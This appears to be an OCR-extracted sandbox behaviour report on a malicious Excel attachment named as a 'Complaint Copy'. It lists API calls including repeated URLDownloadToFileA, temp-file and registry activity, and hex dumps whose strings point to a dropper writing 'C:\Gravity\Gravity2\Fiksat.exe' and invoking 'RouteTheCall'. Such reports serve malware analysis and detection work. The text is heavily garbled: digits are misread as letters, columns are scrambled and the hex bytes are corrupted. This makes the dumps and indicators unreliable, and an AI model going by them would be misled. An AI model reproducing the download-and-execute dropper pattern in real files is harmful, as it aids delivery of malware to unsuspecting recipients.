read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read data or list device
directory |
synchronize

read attributes | device
synchronize |
generic read

Attributes

Options

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

Completion

success or wait 1
success or wait 1
object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

object name 1
collision

success or wait 1

Completion

success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Count

Source
Address

14022828C

14022828C

14022828C

14022828C

14022828C

14022828C

14022828C

14022828C

14022828C

14022828C

14022828C

13F84EC83

Symbol
CreateDirectoryA

CreateDirectoryA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

GetTempFileNameW

Source

Count Address

P R R R R R

13FABB818

Symbol
DeleteFileW

7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\imgs_files\image009.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\imgs.ht~
C:\Users\user\AppData\Local\Temp\33BE.tmp

File Moved

Old File Path
C:\Users\user\AppData\Local\Temp\34DE0O000
C:\Users\user\Desktop\B4DE000O

C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image003.png
C:\Users\user\AppData\Local\Temp\imgs_files\image004.png
C:\Users\user\AppData\Local\Temp\imgs_files\image009.png
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.htm
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\image010.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image011.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image012.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.ht_

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written

File Path

Copyright null 2020

Offset

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

New File Path
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv

C:\Users\user\Desktop\Complaint-
Copy_1984632811_11102020.xIs.

C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image003.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image004.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\image009.pn~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.ht~s~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\image010.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image011.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\image012.pngss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet002.htmss
C:\Users\user\AppData\Local\Temp\imgs_files\sheet003.htmss

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss

Length Value Ascii

Completion
success or wait

success or wait

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

Count Address

P R R R R R R

Source

Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

13FABB818

Source
Count Address

1 7FEEAC59ACO
1 7FEEAC59ACO

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

P PR R R R R R R R R R R R R R R R

7FEEAC59ACO

Source
Count Address

DeleteFileW

Symbol
unknown

unknown

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\34DE0000 569 459 c4 55c9 6e db 3010 .U.n.0...7.....(..r.izl.$..1 success or wait 21 7FEEAC59ACO unknown
bd 17 ¢c8 3f 08 bc 06 9..s..$..w(+jk8V...E......3..]]
129d b4 28 8ac2 72 <c...JU3V..N*........ +b.+A;.
0e 69 7a6c 0324 fd 5.bd7....... Xeion).GL. X9,
80313996 08 7303 W..H...A.A~=}...6.)s.....
c924f6df 77282b .1.nC.;'KeYq..K...J@"....=.
6a 6b 3856 8518 f0 ..VJ.t..u.}@..ELFW>
450b a9 b7 cc 1b 81 (R....... ?

33 bfd9 18 5d 3c 63 ..m...L...#........ P..+%...K.
88 ca d9 9a5d 5533 ...v.=.'50(..
56 a0 15 4e 2a db d4
ecd7 e3f7f20b 2b
62 02 2b 41 3b 8b 35
db 62 64 37 8b 8b Of
f3 ¢7 ad c7 58 10 da
c6 9a b5 29 f9 af 9c
47 d1 a2 81 58 39 8f
96 76 56 2e 18 48 f4
lalaee4lacal4l
7e 3d 9b 7d e6 c2 d9
84 36 95 29 73 b0 c5
fc 1b ae e0 49 a7 e2
6e 43 cb 3b 27 4b 65
59 71 bb fb 2e 4b d5
Oc bc d7 4a 40 22 a3
fc d9 ca 3d 91 d2 ad
56 4a a0 74 e2 c9 10
75 15 7d 40 90 b1 45
4c 46 57 3e 28 52 Oc
0f 98 12 15 16 19 3f
a8 e9 6d b3 a7 a9 4c
6 9c d7 0f 23 02 ea
b8 07 19 b1 d9 e7 50
11 b2 2b 25 b6 ca c7
4b Oa eb 0d 85 bc 3
76 Oe 3d ee 27 35 30

28 89 c5
C:\Users\user\AppData\Local\Temp\34DE0000 1028 2 03 00 . success or wait 21 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\34DE000O 0 569 50 4b 03 04 14 00 06 PK.......... LMo success or wait 24 7FEEAC59ACO unknown

00 08 00 00 00 21 00 [Content_Types].xml ...
cOc54dcacd0100 (...
0017 08 00 00 1300 .
08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70
65 73 5d 2e 78 6d 6¢C .
202204 0228a000 .
02 00 00 00 00 00 00 .
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00
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File Path
C:\Users\user\AppData\Local\Temp\34DE000O

C:\Users\user\AppData\Local\Temp\34DE0000

Copyright null 2020

Offset
6393

24270

Length Value

557

1683

89 50 4e 47 0d Oa la
0a 00 00 00 Od 49 48
4452 00 00 00 18 00
00 00 18 08 02 00 00
00 6f 15 aa af 00 00

0001 7352474200 .;.

ae ce 1c e9 00 00 00
09 70 48 59 73 00 00
Oe c4 00 00 Oe c4 01
95 2b Oe 1b 00 00 01
d2 49 44 41 54 38 4f
63 fc ff ff ff b7 ef bf
e6 6¢ be 39 61 e5 95
5f ff 58 ff ff ff c7 40
1c 60 64 64 62 63 fa
5d 10 ae 9b e2 ab c6
c5 c9 c6 f8 e5 eb 4f
ff 92 6d 37 df 72 30
7c 7fabab 22 c4 c4
c8f4 9f el 3f 41 a3
18 19 18 ff fd ff 77 f9
ce 3b 06 4e 31 75 91
1f 1b bb bd 18 fb 97
5f e8 5b ff 5¢ 59 e4
f7 c4 42 4b 3d 15 11
82 46 20 2b b8 74 e7
4d 7e ff f1 bb 6f 58
8b 02 25 19 15 02 97
323131 6fed 71 d5
50 10 22 c9 14 88 e2
1b Of de 79 97 ec fe
7 ef 2f d3 af ff 6¢c ea
72 dce4 99 02 34 08
a8 51 5d 96 1b 68 08
13 c3 ff 7f 4c 4c 8c
64 b8 05 ae 85 89

13 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 5b 43 6f
6e 74 65 6e 74 5f 54
7970 65 73 5d 2e 78
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 06 04 00 00 5f
72 65 6¢ 73 2f 2 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 51 af
6e 0f 47 01 00 00 6a
05 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 2c 07 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
7e 31 b0 17 42 02 00
00 b1 04 00 00 Of 00
00 00 00 00 00 00 00
00 00 00 00 00 b3 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

Ascii

PNG........ IHDR............. o
....... SRGB.........pHYs......
...+.....IDAT8OC........ 1.9a
._X...@. ddbc.]...
0..m7.10]..."......2A b
N1u........ _[\Y..BK=...F
+.t.M~...0X..%....2110.q.P.
M Yood.lr.4..Q]..
h....LL.d.....

PK.-e LMo

.............. ,...XI/_rels/wor

kbook.xml.relsPK..
L = T
xl/workbook.xml

Completion

success or wait

success or wait

Count Address

8

1

Source
Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\B4DE000O

C:\Users\user\Desktop\B4DE000O

Copyright null 2020

Offset Length Value

unknown 16384

unknown 16384

09 08 10 00 00 06 05
00 67 32 cd 07 c9 80
01 00 06 06 00 00 el
00 02 00 b0 04 c1 00
02 00 00 00 e2 00 00
00 5¢ 00 70 00 02 00
00 20 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 0a 00 06 00 02
00 04 00 03 00 01 00
9¢ 00 02 00 11 00 19
00 02 00 00 00 12 00
02 00 00 00 13 00 02
00 00 00 af 01 02 00
00 00 bc 01 02 00 00
00 3d 00 12 00 f0 00
69 00 d5 39 4a 1f 38
00 03 00 00 00 01 00
58 02 40 00 02 00 00
00 8d 00 02 00 00 00
220002

55 50 Oa 4a b5 60 dO
db 58 62 06 94 dO f3
51 50 f0 4d 19 67 €5
f2 31 4d 24 91 f7 30
26 e559e3cc74e3
el 3a a5 4b 97 ae 55
ab 56 db b6 6d e0 73
4d 9a 34 e6 23 56 2a
7b 6¢ 6a 90 c2 be 25
b4 51 3f 47 5d 53 8e
dO c1 98 c5 e6 98 39
73 16 ea 20 fc 2f 20
2000 e3 a3 45 8b 16
79 41 06 bc f3 eb af
bf 9e 3d 7b ee 91 23
47 a4 d8 94 69 78 4a
8a cc 5e bc 78 bl 41
8397 61 ab a6 a3 c3
38 af 5f 0f 82 1d d8
d9 89 da 6d 8e d7 9d
3b 77 4e 9d 3a c5 03
00 e7 46 85 78 2a 43
bb 40 66 91 2c 1f e5
69 69 b4 7a 5e 7c fc
1 9f 20 98 53 16 90
29 2d ec ac 84 8f 5e
3 f9 6e f2 ab 3f 7f d6
6e cb ec 36 33 fa d6
79 a9 a2 43 09 a0 96
c1 93 0c 30 15 41 b9
fa 7f 97 1f c4 24 4b
34 f79e 09 fd eb 78
88 5e 97 2a aa e8 e9
Oc 47 a5 52 18 3a 35
6 5¢ 3e ba c9 d6 b9
6d 37 cf 6a 3d bc 87
1f 94

e \peae

Completion

success or wait

UP.J."..Xb....QP.M.g..1M$. success or wait

.0&.

Y.t KLUV .m.sM.4 #V*

{Ij...%.Q?G]S......9s.. ./

{ #G...ixJ. XA,

.8 _......m.;wN.i...F

XC.@F.,..0i.2Y... .S.)-...

A.n.?.n.63.y..C.....0.A
xA*..G.R.:5.

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\B4DE000O

C:\Users\user\Desktop\B4DE000O

Copyright null 2020

Offset Length Value

unknown 750

unknown 16384

00 00 b0 02 00 ff 4e

5a 00 00 35 01 00 cO
08 44 b7 02 00 cO 08
5a 00 00 2b 01 00 cO
08 17 1e 00 43 3a 5¢
4772617669 7479
5c 4772617669 74
79 32 5c 46 69 6b 73
6174 2e 65 78 65 1le
00 00 1e 00 00 42 06
ff 00 06 00 5a 00 b0
02 00 00 40 0001 74
00 44 69 72 ff ff 00
00 b1 02 00 ff 44 00
17 07 00 7a 69 70 66
6c 64 72 17 Oc 00 52
6f 75 74 65 54 68 65
43 61 6¢ 6¢ 17 05 00
4a4a43434a1715
00 47 46 4a 56 48 59
58 44 59 48 44 54 59
48 58 44 59 48 44 54
59 16 1e 01 00 1e 09
00 42 07 95 00 06 00
4d 00 b1 02 00 00 40
0002 74 1d 44 69 72
ff ff 00 00 b6 02 00 ff
37 00 23 04 00 00 00
1e 00 00 17 04 00 63
61 6¢ 63 17 1e 00 43
3a5c 477261 76 69
7479 5c 47726176
69 74 79 32 5c 46 69
6b 73 61 74 2e 65 78
65 le

55 50 Oa 4a b5 60 dO
db 58 62 06 94 dO f3
51 50 f0 4d 19 67 €5
f2 31 4d 24 91 f7 30
26 e559e3cc74e3
el 3a a5 4b 97 ae 55
ab 56 db b6 6d e0 73
4d 9a 34 e6 23 56 2a
7b 6¢ 6a 90 c2 be 25
b4 51 3f 47 5d 53 8e
dO c1 98 c5 e6 98 39
73 16 ea 20 fc 2f 20
2000 e3 a3 45 8b 16
79 41 06 bc f3 eb af
bf 9e 3d 7b ee 91 23
47 a4 d8 94 69 78 4a
8a cc 5e bc 78 bl 41
8397 61 ab a6 a3 c3
38 af 5f 0f 82 1d d8
d9 89 da 6d 8e d7 9d
3b 77 4e 9d 3a c5 03
00 e7 46 85 78 2a 43
bb 40 66 91 2c 1f e5
69 69 b4 7a 5e 7c fc
1 9f 20 98 53 16 90
29 2d ec ac 84 8f 5e
3 f9 6e f2 ab 3f 7f d6
6e cb ec 36 33 fa d6
79 a9 a2 43 09 a0 96
c1 93 0c 30 15 41 b9
fa 7f 97 1f c4 24 4b
34 f79e 09 fd eb 78
88 5e 97 2a aa e8 e9
Oc 47 a5 52 18 3a 35
6 5¢ 3e ba c9 d6 b9
6d 37 cf 6a 3d bc 87
1f 94

Ascii

...... N#......D..Z.5..D
00 23 0200 00 00 1e ..... VA C:\Gravity\Gra
00 00 44 b8 02 00 cO vity2\Fiksat.exe......B.....Z.
....@..t.Dir........ D....zipfl

dr...RouteTheCall...JJCCJ.

BGHE
JVHYXDYHDTYHXDYHD
JTRY/— B
~M....@.1Dir........ 4.

calc...C:\Gravity\Gravi

ty2\Fiksat.exe.

Completion

success or wait

UP.J."..Xb....QP.M.g..1M$. success or wait

.0&.
Y..t..K.U.V.m.sM.4 #V*
{...%.Q?G]S.......95.. ./
LELYALL =

{ #G...ixJ. XA,

o

8 miWNLLLLF

XC.@f.,..ii.27... .S..)-...
A.n.?.n.63.y..C.....0.A

xA*..G.R.:5.

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\B4DE000O

C:\Users\user\Desktop\B4DE000O

Copyright null 2020

Offset Length Value

unknown 2776

unknown 16384

00 00 b0 02 00 ff 4e

002302000000 1e ..

Ascii

WNA D...Z.5...D
vl C:\Gravity\Gra

00 00 44 b8 02 00 cO vity2\Fiksat.exe......B.....Z.

5a 00 00 35 01 00 cO
08 44 b7 02 00 cO 08
5a 00 00 2b 01 00 cO
08 17 1e 00 43 3a 5¢
4772617669 7479
5c 4772617669 74
79 32 5c 46 69 6b 73
6174 2e 65 78 65 1le
00 00 1e 00 00 42 06
ff 00 06 00 5a 00 b0
02 00 00 40 0001 74
00 44 69 72 ff ff 00
00 b1 02 00 ff 44 00
17 07 00 7a 69 70 66
6¢ 64 72 17 Oc 00 52
6f 75 74 65 54 68 65
43 61 6¢ 6¢ 17 05 00
4a4a43434a1715
00 47 46 4a 56 48 59
58 44 59 48 44 54 59
48 58 44 59 48 44 54
59 16 1e 01 00 1e 09
00 42 07 95 00 06 00
4d 00 b1 02 00 00 40
0002 74 1d 44 69 72
ff ff 00 00 b6 02 00 ff
37 00 23 04 00 00 00
1e 00 00 17 04 00 63
61 6¢ 63 17 1e 00 43
3a5c 477261 76 69
7479 5c 47726176
69 74 79 32 5c 46 69
6b 73 61 74 2e 65 78
65 le

09 08 10 00 00 06 05 .
0067 32cd07c980 .

01 00 06 06 00 00 el
00 02 00 b0 04 c1 00

02 00 00 00 e2 00 00 .
00 5¢ 00 70 00 02 00 .

00 20 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 2020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 0a 00 06 00 02
00 04 00 03 00 01 00
9¢ 00 02 00 11 00 19
00 02 00 00 00 12 00
02 00 00 00 13 00 02
00 00 00 af 01 02 00
00 00 bc 01 02 00 00
00 3d 00 12 00 f0 00
69 00 d5 39 4a 1f 38
00 03 00 00 00 01 00
58 02 40 00 02 00 00
00 8d 00 02 00 00 00
220002

....@..t.Dir........ D....zipfl
dr...RouteTheCall...JJCCJ.

BGHE
JVHYXDYHDTYHXDYHD
JTRY/— B

e.@.t.Dir........ 4.

..... calc...C:\Gravity\Gravi
ty2\Fiksat.exe.

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\B4DE000O

C:\Users\user\Desktop\B4DE000O

Copyright null 2020

Offset Length Value

unknown 200

unknown 312

fe ff 00 00 06 01 02

00 00 0000000000 ...

00 00 00 00 00 00 00

00 00 00 01 0000 00 ..x.

e0 85 9f f2 f9 4f 68
10 ab 91 08 00 2b 27
b3 d9 30 00 00 00 98
00 00 00 07 00 00 00
01 00 00 00 40 00 00
00 04 00 00 00 48 00
00 00 08 00 00 00 54
00 00 00 12 00 00 00
60 00 00 00 Oc 00 00
00 78 00 00 00 0d 00
00 00 84 00 00 00 13
00 00 00 90 00 00 00
02 00 00 00 e4 04 00
00 1e 00 00 00 04 00
00 0000000000 1e
00 00 00 04 00 00 00
00 00 00 00 1e 00 00
00 10 00 00 00 4d 69
63 72 6f 73 6f 66 74
20 45 78 63 65 6¢ 00
4000000000c0 7c
0d 23 d9 c6 01 40 00
00 00 80 57 8a 8e c2
bf d6 01 03 00 00 00
00 00 00 00

fe ff 00 00 06 01 02
00 00 00 00 00 00 00
00 00 00 00 00 00 00

00 00 00 01 0000 Q0 ..h.

02 d5 cd d5 9c 2e 1b
1093 97 08 00 2b 2c
f9 ae 30 00 00 00 08
01 00 00 08 00 00 00
01 00 00 00 48 00 00
00 17 00 00 00 50 00
00 00 Ob 00 00 00 58
00 00 00 10 00 00 00
60 00 00 00 13 00 00
00 68 00 00 00 16 00
00 00 70 00 00 00 Od
00 00 00 78 00 00 00
0Oc 00 00 00 c2 00 00
00 02 00 00 00 €9 fd
00 00 03 00 00 00 00
00 Oe 00 Ob 00 00 00
00 00 00 00 Ob 00 00
00 00 00 00 00 Ob 00
00 00 00 00 00 00 Ob
00 00 00 00 00 00 00
le 10 00 00 05 00 00
00 Ob 00 00 00 44 6f
63 75 53 69 67 6e c2
ae 00 0a 00 00 00 dO
9b dO b8 d1 81 d1 82
31 00 0a 00 00 00 dO
9b dO b8 d1 81 d1 82
33 00 05 00 00 00 4c
69 76 65 00 Oa 00 00
00 d0 9b dO b8 d1 81
d1 82 32 00 Oc 10 00
00 04 00 00 00 1e 00
00 00 Ob

..Microsoft Excel.@.....| #...
@...W...

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\B4DE000O

C:\Users\user\Desktop\B4DE000O

File Read

File Path
C:\Users\user\Desktop\B4DE000O
C:\Users\user\Desktop\B4DE000O

Registry Activities

Key Created

Key Path

Offset Length Value
unknown 1024 01 00 00 00 02 00 00

00 03 00 00 00 04 00 .
00 00 05 00 00 0006 .
00 00 00 07 00 00 00 .
08 00 00 00 09 00 00 .

00 0a 00 00 00 Ob 00

00 00 0c 000000 0d .

00 00 00 Oe 00 00 00 ..6...7...8...9..

0f 00 00 00 10 00 00
00 11 00 00 00 12 00
00 00 13 00 00 00 14
00 00 00 15 00 00 00
16 00 00 00 17 00 0O
00 18 00 00 00 19 00
00 00 1a 00 00 00 1b
00 00 00 1c 00 00 00
1d 00 00 00 1e 00 00
00 1f 00 00 00 20 00
00 00 21 00 00 00 22
00 00 00 23 00 00 00
2400 00 00 25 00 00
00 26 00 00 00 27 00
00 00 28 00 00 00 29
00 00 00 2a 00 00 00
2b 00 00 00 2c 00 00
00 2d 00 00 00 2e 00
00 00 2f 00 00 00 30
00 00 00 31 00 00 00
3200 00 00 33 00 00
00 34 00 00 00 35 00
00 00 36 00 00 00 37
00 00 00 38 00 00 00
39 00 00 00 3a 00 00
00 3b 00 00 00 3c 00
00 00 3d 00 00 00 3e
00 00 00 3f 00 00 00
40 00 00

unknown 512 docflle0alblla

€1 000000000000 .
00 00 00 00 00 0000 .
00 00 00 3e 00 03 00 .

fe ff 09 00 06 00 00

00 00 00 00 0000 00 .
00 000100000057 .
00 00 00 00 00 00 00 .

00 10 00 00 fe ff ff ff
00 00 00 00 fe ff ff ff

00 00 00 00 56 00 00
00 ff ff ff ff ff ff f ff ff

ff ff f ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff f ff ff ff ff ff

ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff f ff ff ff
ff ff ff ff f ff ff f ff ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff f ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff

Offset
unknown

unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

Copyright null 2020

Length
16384

16384

Completion

success or wait

success or wait

Completion
success or wait

success or wait

Completion
success or wait

success or wait

Source

Count Address Symbol

1

7FEEAC59ACO unknown

1 7FEEAC59ACO unknown
Source

Count Address Symbol

1 7FEEAC59ACO unknown

1 7FEEAC59ACO unknown
Source

Count Address Symbol

1 7FEEAC59ACO unknown

4 7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED394

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED48E

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED549

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F3478

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F3572

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2020

Name

Max Display

Max Display

Item 1

Iltem 2

Item 3

Iltem 4

Item 5

Iltem 6

Item 7

Iltem 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8878498721 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3771420242.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

